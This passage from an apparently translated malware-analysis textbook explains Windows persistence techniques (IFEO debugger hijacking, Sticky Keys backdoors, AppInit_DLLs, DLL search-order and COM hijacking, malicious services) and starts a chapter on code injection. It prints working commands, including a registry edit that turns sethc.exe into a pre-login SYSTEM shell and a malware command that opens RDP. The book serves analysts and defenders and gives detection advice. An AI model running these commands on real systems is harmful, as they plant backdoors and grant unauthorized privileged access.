Key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable name>"
Value: Debugger : REG_SZ : <full-path to the debugger>

对手利用这个注册表键来启动他们的恶意程序。为了演示这种技术,notepad.exe的调试器被设置为计算器(calc.exe)进程,通过添加以下注册表项:

现在,当你启动记事本时,它将通过计算器程序启动(即使它不是一个调试器)。这种行为可以在以下截图中看到:

以下是一个恶意软件样本(TrojanSpy:Win32/Small.M)的示例,它将其恶意程序iexplor.exe配置为 Internet Explorer 的调试器(iexplore.exe)。这是通过添加以下注册表值实现的。在这种情况下,攻击者选择了一个与合法的 Internet Explorer 可执行文件名相似的文件名。由于以下注册表项的存在,每当执行合法的 Internet Explorer(iexplore.exe)时,它将通过恶意程序iexplor.exe启动,从而执行恶意代码:

[RegSetValue] LSASSMGR.EXE:960 > HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\Debugger = C:\Program Files\Internet Explorer\iexplor.exe

要检测这种类型的持久化技术,可以检查 Image File Execution Options注册表项,查看是否有与合法程序无关的修改。

2.6 可访问性程序

Windows 操作系统提供了多种可访问性功能,例如屏幕键盘讲述人放大镜语音识别等。这些功能主要是为有特殊需求的人群设计的。这些可访问性程序甚至在未登录系统的情况下也可以启动。例如,许多可访问性程序可以通过按下Windows + U键组合来访问,这将启动C:\Windows\System32\utilman.exe,或者你可以通过连续按五次Shift 键来启用粘滞键,这将启动程序C:\Windows\System32\sethc.exe。攻击者可以改变这些可访问性程序(如sethc.exeutilman.exe)的启动方式,执行他们选择的程序,或者利用具有提升权限的cmd.exe(权限提升)。

攻击者利用粘滞键(sethc.exe)功能通过远程桌面(RDP)获得未认证的访问权限。在 Hikit Rootkit 的情况下,(www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html) 合法的 sethc.exe 程序被替换为 cmd.exe。这使得攻击者仅需按五次 Shift 键,就能通过 RDP 获得带有 SYSTEM 权限的命令提示符。虽然在旧版 Windows 中,可以将辅助功能程序替换为其他程序,但新版 Windows 强制执行各种限制,比如替换后的二进制文件必须位于 %systemdir%,必须为 x64 系统数字签名,并且必须受到 Windows 文件或资源保护(WFP/WRP) 的保护。这些限制使得攻击者很难替换合法的程序(如 sethc.exe)。为了避免替换文件,攻击者利用 图像文件执行选项(在上一节中已讲解),如以下代码所示。以下注册表项将 cmd.exe 设置为 sethc.exe 的调试器;现在,攻击者可以通过 RDP 登录并按五次 Shift 键来访问系统级别的命令行。通过该命令行,攻击者可以在身份验证之前执行任何任意命令。同样,一个恶意后门程序也可以通过将其设置为 sethc.exeutilman.exe 的调试器来执行:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

在以下示例中,当恶意软件样本(mets.exe)被执行时,它会运行以下命令,该命令修改防火墙规则/注册表以允许 RDP 连接,然后添加一个注册表值,将任务管理器(taskmgr.exe)设置为 sethc.exe 的调试器。这使得攻击者可以通过 RDP 访问 taskmgr.exe(并具有 SYSTEM 权限)。使用此技术,攻击者可以在不登录系统的情况下,通过 RDP 终止进程启动/停止服务

[CreateProcess] mets.exe:564 > "cmd /c netsh firewall add portopening tcp 3389 all & reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f & REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d %windir%\system32\taskmgr.exe /f"

这种攻击类型稍微难以检测,因为攻击者要么用合法程序替换辅助功能程序,要么利用合法程序。然而,如果你怀疑辅助功能程序(sethc.exe)已被合法文件(如 cmd.exetaskmgr.exe)替换,那么你可以通过比较替换后辅助功能程序的哈希值与合法文件(cmd.exetaskmgr.exe)的哈希值,来寻找是否匹配。哈希值匹配表明原始的 sethc.exe 文件已被替换。你还可以检查 图像文件执行选项 注册表项,查看是否有任何可疑的修改。

2.7 AppInit_DLLs

Windows 中的 AppInit_DLLs 功能提供了一种将自定义 DLL 加载到每个交互式应用程序地址空间中的方法。一旦 DLL 被加载到任何进程的地址空间中,它就可以在该进程的上下文中运行,并且可以挂钩常见的 API 来实现替代功能。攻击者可以通过在以下注册表项中设置 AppInit_DLLs 值来使其恶意 DLL 保持持久性。该值通常包含由空格或逗号分隔的 DLL 列表。这里指定的所有 DLL 都会被加载到每个加载 User32.dll 的进程中。由于几乎所有进程都加载 User32.dll,这一技术使得攻击者能够将其恶意 DLL 加载到大多数进程中,并在加载的进程上下文中执行恶意代码。除了设置 AppInit_DLLs 值外,攻击者还可以通过将 LoadAppInit_DLLs 注册表值设置为 1 来启用 AppInit_DLLs 功能。在 Windows 8 及更高版本中,如果启用了安全启动,AppInit_DLLs 功能将被禁用:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows

以下截图显示了T9000 后门添加的 AppInit DLL 条目 (researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/):

由于添加了上述注册表条目,当任何新的进程(加载了User32.dll)启动时,它会将恶意 DLL(ResN32.dll)加载到其地址空间中。以下截图显示了系统重启后加载了恶意 DLL(ResN32.dll)的操作系统进程。由于大多数这些进程以高完整性级别运行,因此攻击者可以利用这一点以提升的权限执行恶意代码:

为了检测这一技术,您可以查找 AppInit_DLLs 注册表值中与您环境中的合法程序无关的可疑条目。您还可以查找由于加载恶意 DLL 而表现出异常行为的进程。

2.8 DLL 搜索顺序劫持

当一个进程被执行时,它相关的 DLL 被加载到进程内存中(无论是通过导入表,还是因为进程调用了LoadLibrary() API)。Windows 操作系统会按照特定顺序在预定义的位置搜索要加载的 DLL。搜索顺序的文档可以在 MSDN 中找到:msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx

简而言之,如果需要加载任何 DLL,操作系统首先会检查该 DLL 是否已加载到内存中。如果已加载,它会使用已加载的 DLL。如果未加载,操作系统会检查 DLL 是否已在 KnownDLLs 注册表键中定义(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)。此处列出的 DLL 是系统 DLL(位于 system32 目录中),它们通过 Windows 文件保护 进行保护,以确保除操作系统更新外,这些 DLL 不会被删除或更新。如果要加载的 DLL 在 KnownDLLs 列表中,那么该 DLL 始终会从 System32 目录加载。如果这些条件不满足,操作系统会按顺序在以下位置查找 DLL:

  1. 应用程序启动的目录。

  2. 系统目录(C:\Windows\System32)。

  3. 16 位系统目录(C:\Windows\System)。

  4. Windows 目录(C:\Windows)。

  5. 当前目录。

  6. PATH 变量中定义的目录。

攻击者可以利用操作系统查找 DLL 的方式来提升权限并实现持久性。考虑到在“Operation Groundbait”行动中使用的恶意软件(Prikormka dropper)(www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf)。该恶意软件在执行时会在 Windows 目录(C:\Windows)中放置一个名为 samlib.dll 的恶意 DLL,如下所示:

[CreateFile] toor.exe:4068 > %WinDir%\samlib.dll

在一个干净的操作系统中,名为 samlib.dll 的 DLL 存在于 C:\Windows\System32 目录中,并且该干净的 DLL 会被位于 C:\Windows 目录中的 explorer.exe 加载。该干净的 DLL 也会被其他一些位于 system32 目录中的进程加载,如下所示:

由于恶意 DLL 被放置在与 explorer.exe 相同的目录中(即 C:\Windows),因此在系统重启后,恶意的 samlib.dll 会由 explorer.exeC:\Windows 目录加载,而不是从 system32 目录加载合法的 DLL。以下截图显示了在感染系统重启后,由于 DLL 搜索顺序劫持,explorer.exe 加载了恶意 DLL:

DLL 搜索顺序劫持 技术使得取证分析变得更加困难,并且能够绕过传统防御措施。为了检测此类攻击,您应考虑监控 DLL 的创建、重命名、替换或删除,并查看任何由进程加载的来自异常路径的模块(DLL)。

2.9 COM 劫持

组件对象模型(COM) 是一个允许软件组件互相交互和通信的系统,即使它们互相之间不了解对方的代码(msdn.microsoft.com/en-us/library/ms694363(v=vs.85).aspx)。软件组件通过使用 COM 对象相互交互,这些对象可以位于单个进程、其他进程或远程计算机上。COM 被实现为一个客户端/服务器框架。COM 客户端是一个使用 COM 服务器(COM 对象)服务的程序,COM 服务器是一个为 COM 客户端提供服务的对象。COM 服务器实现了一个包含各种方法(函数)的接口,这些方法可以在 DLL 中(称为 进程内服务器)或 EXE 中(称为 进程外服务器)。COM 客户端可以通过创建 COM 对象的实例、获取接口指针并调用其接口中实现的方法来使用 COM 服务器提供的服务。

Windows 操作系统提供了各种 COM 对象,供程序(COM 客户端)使用。这些 COM 对象由一个唯一的编号标识,称为 类标识符CLSIDs),它们通常可以在注册表项 HKEY_CLASSES_ROOT\CLSID\< unique clsid> 中找到。例如,我的电脑 的 COM 对象是 {20d04fe0-3aea-1069-a2d8-08002b30309d},可以在以下截图中看到:

对于每个 CLSID 键,您还有一个名为 InProcServer32 的子键,指定实现 COM 服务器功能的 DLL 文件名。以下截图显示 shell32.dll(COM 服务器)与 我的电脑 关联:

类似于 我的电脑 COM 对象,微软提供了各种其他 COM 对象(通过 DLL 实现),这些对象被合法程序所使用。当合法程序(COM 客户端)使用特定 COM 对象的服务(使用其 CLSID)时,相关的 DLL 会被加载到客户端程序的进程地址空间中。在 COM 劫持 的情况下,攻击者修改了合法 COM 对象的注册表项,并将其与攻击者的恶意 DLL 关联。其目的是,当合法程序使用被劫持的对象时,恶意 DLL 会被加载到合法程序的地址空间中。这使得攻击者能够在系统上保持持久性并执行恶意代码。

在以下示例中,当执行恶意软件(Trojan.Compfun)时,它会丢弃一个带有 ._dl 扩展名的 dll 文件,如下所示:

[CreateFile] ions.exe:2232 > %WinDir%\system\api-ms-win-downlevel-qgwo-l1-1-0._dl

然后,恶意软件在 HKCU\Software\Classes\CLSID 中设置以下注册表值。此条目将 MMDeviceEnumerator 类的 COM 对象 {BCDE0395-E52F-467C-8E3D-C4579291692E} 与恶意 DLL C:\Windows\system\api-ms-win-downlevel-qgwo-l1-1-0._dl 关联,针对当前用户:

[RegSetValue] ions.exe:2232 > HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\(Default) = C:\Windows\system\api-ms-win-downlevel-qgwo-l1-1-0._dl

在干净的系统上,MMDeviceEnumerator 类的 COM 对象 {BCDE0395-E52F-467C-8E3D-C4579291692E} 关联的 DLL 是 MMDevApi.dll,其注册表条目通常位于 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\,而在 HKCU\Software\Classes\CLSID\ 中找不到相应的条目:

由于恶意软件在 HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 中添加了条目,受感染的系统现在包含了相同 CLSID 的两个注册表条目。由于用户对象从 HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 被加载,优先于位于 HKLM\SOFTWARE\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 的机器对象,恶意 DLL 被加载,从而劫持了 MMDeviceEnumerator 的 COM 对象。现在,任何使用 MMDeviceEnumerator 对象的进程都会加载恶意 DLL。在重新启动受感染的系统后,如下图所示,explorer.exe 加载了恶意 DLL。

COM 劫持 技术可逃避大多数传统工具的检测。要检测此类攻击,可以查看 HKCU\Software\Classes\CLSID\ 中对象的存在。恶意软件可能不会在 HKCU\Software\Classes\CLSID\ 中添加条目,而是修改 HKLM\Software\Classes\CLSID\ 中的现有条目以指向恶意二进制文件,因此还应考虑检查此注册表键中指向未知二进制文件的任何值。

2.10 服务

服务是在后台运行且没有用户界面的程序,它提供核心操作系统功能,如事件日志记录、打印、错误报告等。攻击者通过将恶意程序安装为服务或修改现有服务,可以在具有管理员特权的系统上持久存在。使用服务的优势在于可以在操作系统启动时自动启动,并且大多数情况下以 SYSTEM 等特权帐户运行;这使攻击者可以提升权限。攻击者可以将恶意程序实现为 EXEDLL内核驱动程序 并将其作为服务运行。Windows 支持各种服务类型,以下概述了恶意程序常用的一些服务类型:

  • Win32OwnProcess: 该服务的代码作为可执行文件实现,并作为单独的进程运行

  • Win32ShareProcess: 该服务的代码作为 DLL 实现,并且从共享主机进程 (svchost.exe) 运行

  • 内核驱动程序服务: 这种类型的服务在驱动程序(.sys)中实现,并用于在内核空间执行代码

Windows 将已安装服务及其配置存储在注册表的 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services 键下。每个服务都有其自己的子键,其中包含指定如何、何时以及是否以 EXEDLL内核驱动程序 实现该服务的值。例如,Windows 安装程序服务 的服务名为 msiserver,在以下截图中,注册表下的子键与服务名相同,位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services 下。ImagePath 值指定该服务的代码实现于 msiexec.exeType 值为 0x10(16),表示它是 Win32OwnProcess,而 Start0x3 表示 SERVICE_DEMAND_START,即该服务需要手动启动:

要确定与常量值关联的符号名称,您可以参考 MSDN 文档中的 CreateService() API (msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx),或者可以通过提供服务名称来使用 sc 工具查询服务配置,如下所示。这将显示类似于注册表子项中找到的信息:

C:\>sc qc "msiserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: msiserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\msiexec.exe /V
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Installer
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem

现在我们来看一个 Win32ShareProcess 服务的示例。Dnsclient 服务的服务名为 Dnscache,该服务的代码实现于 DLL 中。当服务实现为 DLL(服务 DLL)时,ImagePath 注册表值通常会包含指向 svchost.exe 的路径(因为该进程加载了服务 DLL)。要确定与服务关联的 DLL,您需要查看 ServiceDLL 值,该值位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<service name>\Parameters 子项下。以下截图显示了与 Dnsclient 服务关联的 DLL(dnsrslvr.dll);该 DLL 由通用宿主进程 svchost.exe 加载:

攻击者可以通过多种方式创建服务。以下概述了其中一些常见的方法:

  • sc 工具: 恶意软件可以调用 cmd.exe 并运行 sc 命令,例如 sc createsc start(或 net start)来创建和启动服务。以下示例中,恶意软件通过 cmd.exe 执行 sc 命令来创建并启动一个名为 update 的服务:
[CreateProcess] update.exe:3948 > "%WinDir%\System32\cmd.exe /c sc create update binPath= C:\malware\update.exe start= auto && sc start update "
  • 批处理脚本: 恶意软件可以投放批处理脚本并执行前面提到的命令来创建和启动服务。在以下示例中,恶意软件 (Trojan:Win32/Skeeyah) 投放了一个批处理脚本(SACI_W732.bat)并执行该脚本(通过 cmd.exe),该脚本会创建并启动一个名为 Saci 的服务:
[CreateProcess] W732.exe:2836 > "%WinDir%\system32\cmd.exe /c %LocalAppData%\Temp\6DF8.tmp\SACI_W732.bat "
[CreateProcess] cmd.exe:2832 > "sc create Saci binPath= %WinDir%\System32\Saci.exe type= own start= auto"
[CreateProcess] cmd.exe:2832 > "sc start Saci"
  • Windows API:恶意软件可以使用 Windows API,如CreateService()StartService()创建启动服务。当你在后台运行sc utility时,它使用这些 API 调用来创建和启动服务。考虑以下NetTraveler恶意软件的示例。执行时,它首先会丢弃一个 dll:
[CreateFile] d3a.exe:2904 > %WinDir%\System32\FastUserSwitchingCompatibilityex.dll

然后,它通过OpenScManager() API 打开到服务控制管理器的句柄,并通过调用CreateService() API 创建一个Win32ShareProcess类型的服务。第二个参数指定服务的名称,在这种情况下是FastUserSwitchingCompatiblity

在调用CreateService()后,服务被创建,并且以下注册表项被添加,包含服务配置信息:

接着,它在之前创建的注册表项下创建一个Parameters子项:

之后,它丢弃并执行一个批处理脚本,该脚本设置注册表值(ServiceDll)以将 DLL 与创建的服务关联。批处理脚本的内容如下所示:

@echo off

@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\FastUserSwitchingCompatibilityex.dll

由于创建了一个Win32ShareProcess服务,当系统启动时,服务控制管理器(services.exe)启动svchost.exe进程,进而加载恶意的 ServiceDLL FastUserSwitchingCompatibilityex.dll

攻击者可以修改(劫持)现有服务,而不是创建新服务。通常,攻击者劫持的是未使用或已禁用的服务。这使得检测稍微变得困难,因为如果你试图查找非标准或未识别的服务,你可能会错过这种类型的攻击。考虑以下BlackEnergy恶意软件投放器的示例,它劫持现有服务以在系统上保持存在。执行时,BlackEnergy替换了一个合法的驱动程序aliide.sys(与名为aliide的服务相关联),该驱动程序位于system32\drivers目录中,并将其替换为恶意的aliide.sys驱动程序。替换驱动程序后,它修改与aliide服务相关的注册表项,并将其设置为自动启动(服务在系统启动时自动启动),如下所示:

[CreateFile] big.exe:4004 > %WinDir%\System32\drivers\aliide.sys
[RegSetValue] services.exe:504 > HKLM\System\CurrentControlSet\services\aliide\Start = 2

以下截图显示了aliide服务在修改前后的服务配置。有关BlackEnergy3大掉落器的详细分析,请阅读作者的博客文章,链接如下:cysinfo.com/blackout-memory-analysis-of-blackenergy-big-dropper/

为了检测此类攻击,请监控与合法程序无关的服务注册表条目的变化。查看与服务关联的二进制路径的修改情况,以及服务启动类型(从手动到自动)的变化。你还应考虑监控和记录使用像scPowerShellWMI等工具的情况,这些工具可以用来与服务交互。Sysinternals 的AutoRuns 工具也可以用来检查服务的持久性使用情况。

对手可以在每次启动 Microsoft Office 应用程序时保持恶意代码的持久性并执行它。有关更多详细信息,请参见www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/。有关各种持久化方法的更多详细信息,并了解对手的战术和技术,请参考 MITRE 的 ATT&CK 维基:attack.mitre.org/wiki/Persistence

摘要

恶意软件使用各种 API 调用与系统交互,在本章中,你学习了恶意二进制文件如何利用 API 调用实现各种功能。本章还涵盖了对手使用的不同持久化技术,这些技术使得恶意软件即使在系统重启后仍能驻留在受害者系统上(其中一些技术允许恶意二进制文件以高权限执行代码)。

在下一章中,你将学习对手使用的不同代码注入技术,这些技术用于在合法进程的上下文中执行恶意代码。

第八章:代码注入与挂钩

在上一章中,我们探讨了恶意软件为了在受害者系统中保持存在所使用的不同持久性机制。在本章中,您将学习恶意程序如何将代码注入到另一个进程中(称为目标进程远程进程)以执行恶意操作。将恶意代码注入到目标进程的内存并在目标进程的上下文中执行恶意代码的技术被称为代码注入(或进程注入)

攻击者通常选择一个合法进程(如explorer.exesvchost.exe)作为目标进程。一旦恶意代码被注入到目标进程中,它就可以在目标进程的上下文中执行恶意操作,如记录击键、窃取密码和外泄数据。在将代码注入到目标进程的内存后,负责注入代码的恶意组件可以选择继续在系统中保持持久性,从而在每次系统重启时都注入代码到目标进程中,或者它可以从文件系统中删除自身,仅将恶意代码保留在内存中。

在深入了解恶意软件代码注入技术之前,理解虚拟内存的概念是至关重要的。

1. 虚拟内存

当您双击一个包含指令序列的程序时,一个进程就会被创建。Windows 操作系统为每个新创建的进程提供自己的私有内存地址空间(称为进程内存)。进程内存是虚拟内存的一部分;虚拟内存并不是真正的物理内存,而是操作系统内存管理器创造的一种幻觉。正是因为这种幻觉,每个进程都认为它拥有自己的私有内存空间。在运行时,Windows 内存管理器在硬件的帮助下,将虚拟地址转换为实际数据所在的物理地址(在 RAM 中);为了管理内存,操作系统会将部分内存分页到磁盘。当进程的线程访问已分页到磁盘的虚拟地址时,内存管理器会将其从磁盘加载回内存。下图说明了两个进程 A 和 B,它们的进程内存被映射到物理内存,同时部分内存被分页到磁盘:

由于我们通常处理的是虚拟地址(即你在调试器中看到的地址),因此本章剩余部分将不讨论物理内存。现在,让我们集中讨论虚拟内存。虚拟内存分为进程内存(进程空间或用户空间)和内核内存(内核空间或系统空间)。虚拟内存地址空间的大小取决于硬件平台。例如,在 32 位架构上,默认情况下,总虚拟地址空间(包括进程和内核内存)最大为 4GB。下半部分(下 2GB),地址范围从0x000000000x7FFFFFFF,保留给用户进程(进程内存或用户空间);上半部分(上 2GB),地址范围从0x800000000xFFFFFFFF,保留给内核内存(内核空间)。

在 32 位系统中,在 4GB 的虚拟地址空间中,每个进程认为它有 2GB 的进程内存,地址范围从0x000000000x7FFFFFFF。由于每个进程认为它拥有自己的私有虚拟地址空间(最终映射到物理内存),因此总虚拟地址空间远大于可用的物理内存(RAM)。Windows 内存管理器通过将部分内存分页到磁盘来解决这个问题;这释放了物理内存,可以用于其他进程或操作系统本身。即使每个 Windows 进程都有自己的私有内存空间,内核内存在大多数情况下是公共的,所有进程共享。以下图表显示了 32 位架构的内存布局。你可能会注意到用户空间和内核空间之间有一个 64KB 的间隙;这一区域不可访问,确保内核不会意外跨越边界并损坏用户空间。你可以通过检查符号MmHighestUserAddress来确定进程地址空间的上边界(最后可用地址),并通过使用内核调试器如Windbg查询符号MmSystemRangeStart来确定内核空间的下边界(第一个可用地址):

即使每个进程的虚拟地址范围相同(0x000000000x7FFFFFFF),硬件和 Windows 也会确保映射到该范围的物理地址对于每个进程都是不同的。例如,当两个进程访问相同的虚拟地址时,每个进程最终将访问物理内存中的不同地址。通过为每个进程提供私有地址空间,操作系统确保进程不会覆盖彼此的数据。

虚拟内存空间不一定总是被划分为 2GB 的两半;这只是默认的设置。例如,你可以通过使用以下命令启用 3GB 启动开关,这样可以将进程内存增加到 3GB,地址范围从0x000000000xBFFFFFFF;内核内存则获得剩余的 1GB,地址范围从0xC00000000xFFFFFFFF

bcdedit /set increaseuserva 3072

x64 架构为进程和内核内存提供了更大的地址空间,如下图所示。在 x64 架构中,用户空间的范围是0x0000000000000000 - 0x000007ffffffffff,内核空间从0xffff080000000000开始,向上延伸。你可能会注意到用户空间与内核空间之间存在巨大的地址空隙;这个地址范围是不可用的。即使在下图中,内核空间显示从0xffff080000000000开始,内核空间中的第一个可用地址是从ffff800000000000开始。之所以如此,是因为 x64 代码中使用的所有地址必须是规范的。一个地址被称为规范地址,若其47-63位要么全部设置,要么全部清除。尝试使用非规范地址会导致页面错误异常:

1.1 进程内存组件(用户空间)

了解虚拟内存后,让我们将注意力集中在虚拟内存的一部分——进程内存。进程内存是用户应用程序使用的内存。下图展示了两个进程,并给出了进程内存中组成部分的高层概览。在下图中,内核空间为了简洁起见被故意留空(我们将在下一节填补这个空白)。请记住,进程共享相同的内核空间:

进程内存由以下主要部分组成:

  • 进程可执行文件: 该区域包含与应用程序相关的可执行文件。当磁盘上的程序被双击时,会创建一个进程,并将与该程序相关的可执行文件加载到进程内存中。

  • 动态链接库(DLLs): 当进程创建时,所有与之关联的 DLL 会被加载到进程内存中。该区域表示与进程相关的所有 DLL。

  • 进程环境变量: 该内存区域存储进程的环境变量,例如临时目录、主目录、AppData 目录等。

  • 进程堆: 该区域指定进程堆。每个进程有一个堆,并可以根据需要创建额外的堆。该区域指定进程接收的动态输入。

  • 线程栈: 该区域表示分配给每个线程的专用进程内存范围,称为其运行时栈。每个线程都有自己的栈,这里存储函数参数、本地变量和返回地址。

  • 进程环境块(PEB): 该区域表示PEB结构,包含有关可执行文件加载位置的信息、其在磁盘上的完整路径,以及在内存中查找 DLL 的位置。

您可以使用Process Hackerprocesshacker.sourceforge.io/)工具查看进程内存的内容。操作方法是启动 Process Hacker,右键点击所需进程,选择属性,然后选择内存标签。

1.2 内核内存内容(内核空间)

内核内存包含操作系统和设备驱动程序。下图显示了用户空间和内核空间的组件。在本节中,我们将主要关注内核空间的组件:

内核内存由以下关键组件组成:

  • hal.dll硬件抽象层(HAL)在可加载的内核模块hal.dll中实现。HAL 将操作系统与硬件隔离;它实现了支持不同硬件平台(主要是芯片组)的功能。它主要为Windows 执行体内核和内核模式的设备驱动程序提供服务。内核模式设备驱动程序调用hal.dll暴露的函数与硬件进行交互,而不是直接与硬件通信。

  • ntoskrnl.exe:该二进制文件是 Windows 操作系统的核心组件,称为内核映像。ntoskrnl.exe二进制文件提供两种功能:执行体内核执行体实现了称为系统服务例程的功能,用户模式应用程序可以通过受控机制调用这些例程。执行体还实现了操作系统的主要组件,如内存管理器、I/O 管理器、对象管理器、进程/线程管理器等。内核实现了低级操作系统服务,并暴露出一组例程,执行体依赖这些例程提供更高级的服务。

  • Win32K.sys:此内核模式驱动程序实现了UI图形设备接口(GDI)服务,这些服务用于在输出设备(如显示器)上渲染图形。它为 GUI 应用程序提供了函数。

2. 用户模式与内核模式

在上一节中,我们看到虚拟内存是如何被划分为用户空间(进程内存)和内核空间(内核内存)的。用户空间包含运行时具有受限访问权限的代码(例如可执行文件和 DLL),即用户模式。换句话说,运行在用户空间中的可执行文件或 DLL 代码不能访问内核空间中的任何内容,也不能直接与硬件进行交互。内核空间包含内核本身(ntoskrnl.exe)和设备驱动程序。在内核空间中运行的代码具有较高的权限,称为内核模式,它可以访问用户空间和内核空间。通过为内核提供较高的权限级别,操作系统确保用户模式的应用程序无法通过访问受保护的内存或 I/O 端口来导致系统不稳定。第三方驱动程序可以通过实现并安装签名驱动程序将其代码运行在内核模式中。

空间(用户空间/内核空间)和模式(用户模式/内核模式)之间的区别在于,空间指定内容(数据/代码)存储的位置,而模式指的是执行模式,指定应用程序指令如何被允许执行。

如果用户模式的应用程序无法直接与硬件交互,那么问题来了,如何通过调用WriteFile API,用户模式下运行的恶意软件二进制文件能够将内容写入磁盘上的文件呢?事实上,大多数用户模式应用程序调用的 API 最终会调用内核执行程序(ntoskrnl.exe)中实现的系统服务例程(函数),而这些函数又与硬件交互(例如,用于写入磁盘上的文件)。同样,任何调用与 GUI 相关的 API 的用户模式应用程序,最终都会调用内核空间中的win32k.sys暴露的函数。以下图示说明了这一概念;为了简化起见,我删除了用户空间的一些组件。ntdll.dll(驻留在用户空间中)充当用户空间与内核空间之间的网关。以同样的方式,user32.dll充当 GUI 应用程序的网关。在下一节中,我们将主要关注通过ntdll.dll将 API 调用过渡到内核执行程序的系统服务例程:

2.1 Windows API 调用流程

Windows 操作系统通过暴露实现于 DLL 中的 API 来提供服务。应用程序通过调用实现于 DLL 中的 API 来使用该服务。大多数 API 函数最终都会调用ntoskrnl.exe(内核执行程序)中的系统服务例程。在本节中,我们将研究应用程序调用 API 时发生了什么,以及 API 如何最终调用ntoskrnl.exe(执行程序)中的系统服务例程。具体来说,我们将探讨应用程序调用WriteFile() API 时发生的情况。以下图表概述了 API 调用流程的高层次概览:

  1. 当通过双击程序启动一个进程时,进程的可执行映像及其所有相关的 DLL 会被 Windows 加载器加载到进程内存中。当进程启动时,会创建主线程,主线程从内存中读取可执行代码并开始执行。需要记住的重要一点是,不是进程执行代码,而是线程执行代码(进程只是线程的容器)。创建的线程在用户模式下开始执行(具有受限访问权限)。进程可以根据需要显式地创建额外的线程。

  2. 假设一个应用程序需要调用由kernel32.dll导出的WriteFile() API。为了将执行控制转移到WriteFile(),线程必须知道WriteFile()在内存中的地址。如果应用程序导入了WriteFile(),那么它可以通过查看一个函数指针表格,称为导入地址表(IAT),来确定其地址,如前面的图所示。该表格位于应用程序的可执行映像中,并且在加载 DLL 时,Windows 加载器会填充该表格,填入函数地址。

应用程序也可以通过调用LoadLibrary() API 在运行时加载 DLL,并且可以通过使用GetProcessAddress() API 来确定加载的 DLL 中某个函数的地址。如果应用程序在运行时加载了 DLL,那么 IAT 就不会被填充。

  1. 一旦线程从 IAT 或运行时中确定了WriteFile()的地址,它就会调用WriteFile(),该函数在kernel32.dll中实现。WriteFile()函数中的代码最终会调用一个由网关 DLL ntdll.dll 导出的函数NtWriteFile()ntdll.dll中的NtWriteFile()并不是真正实现的NtWriteFile()。具有相同名称的实际函数NtWriteFile()(系统服务例程)位于ntoskrnl.exe(执行程序)中,包含真正的实现。ntdll.dll中的NtWriteFile()只是一个桩程序,它执行SYSENTER(x86)或SYSCALL(x64)指令,这些指令将代码切换到内核模式。

  2. 现在,运行在内核模式下的线程(具有无限制访问权限)需要找到实际的NtWriteFile()函数的地址,该函数由ntoskrnl.exe实现。为此,它查阅了内核空间中的一个表格,称为系统服务描述符表(SSDT),并确定了NtWriteFile()的地址。然后它调用 Windows 执行程序中的实际NtWriteFile()(系统服务例程)(位于ntoskrnl.exe中),该函数将请求引导到I/O 管理器中的 I/O 功能。I/O 管理器随后将请求传递给适当的内核模式设备驱动程序。内核模式设备驱动程序使用HAL导出的例程与硬件进行交互。

3. 代码注入技术

如前所述,代码注入技术的目标是将代码注入到远程进程的内存中,并在远程进程的上下文中执行注入的代码。注入的代码可以是一个模块,如可执行文件、DLL,甚至是 Shellcode。代码注入技术为攻击者提供了许多好处;一旦代码被注入到远程进程中,对手可以执行以下操作:

  • 强制远程进程执行注入的代码以执行恶意操作(例如下载附加文件或窃取击键)。

  • 注入一个恶意模块(如 DLL),并将远程进程的 API 调用重定向到注入模块中的恶意函数。恶意函数可以拦截 API 调用的输入参数,同时过滤输出参数。例如,Internet Explorer 使用 HttpSendRequest() 发送一个包含可选 POST 负载的请求到 Web 服务器,并使用 InternetReadFile() 从服务器的响应中获取字节,以便在浏览器中显示。攻击者可以将一个模块注入到 Internet Explorer 的进程内存中,并将 HttpSendRequest() 重定向到注入模块中的恶意函数,从 POST 负载中提取凭证。以同样的方式,它可以拦截通过 InternetReadFile() API 接收到的数据,以读取或修改从 Web 服务器接收到的数据。这使得攻击者可以在数据到达 Web 服务器之前拦截数据(如银行凭证),并且还可以在数据到达受害者浏览器之前,替换或插入额外的数据到服务器响应中(如向 HTML 内容中插入一个额外字段)。

  • 将代码注入到已运行的进程中,可以让攻击者实现持久性。

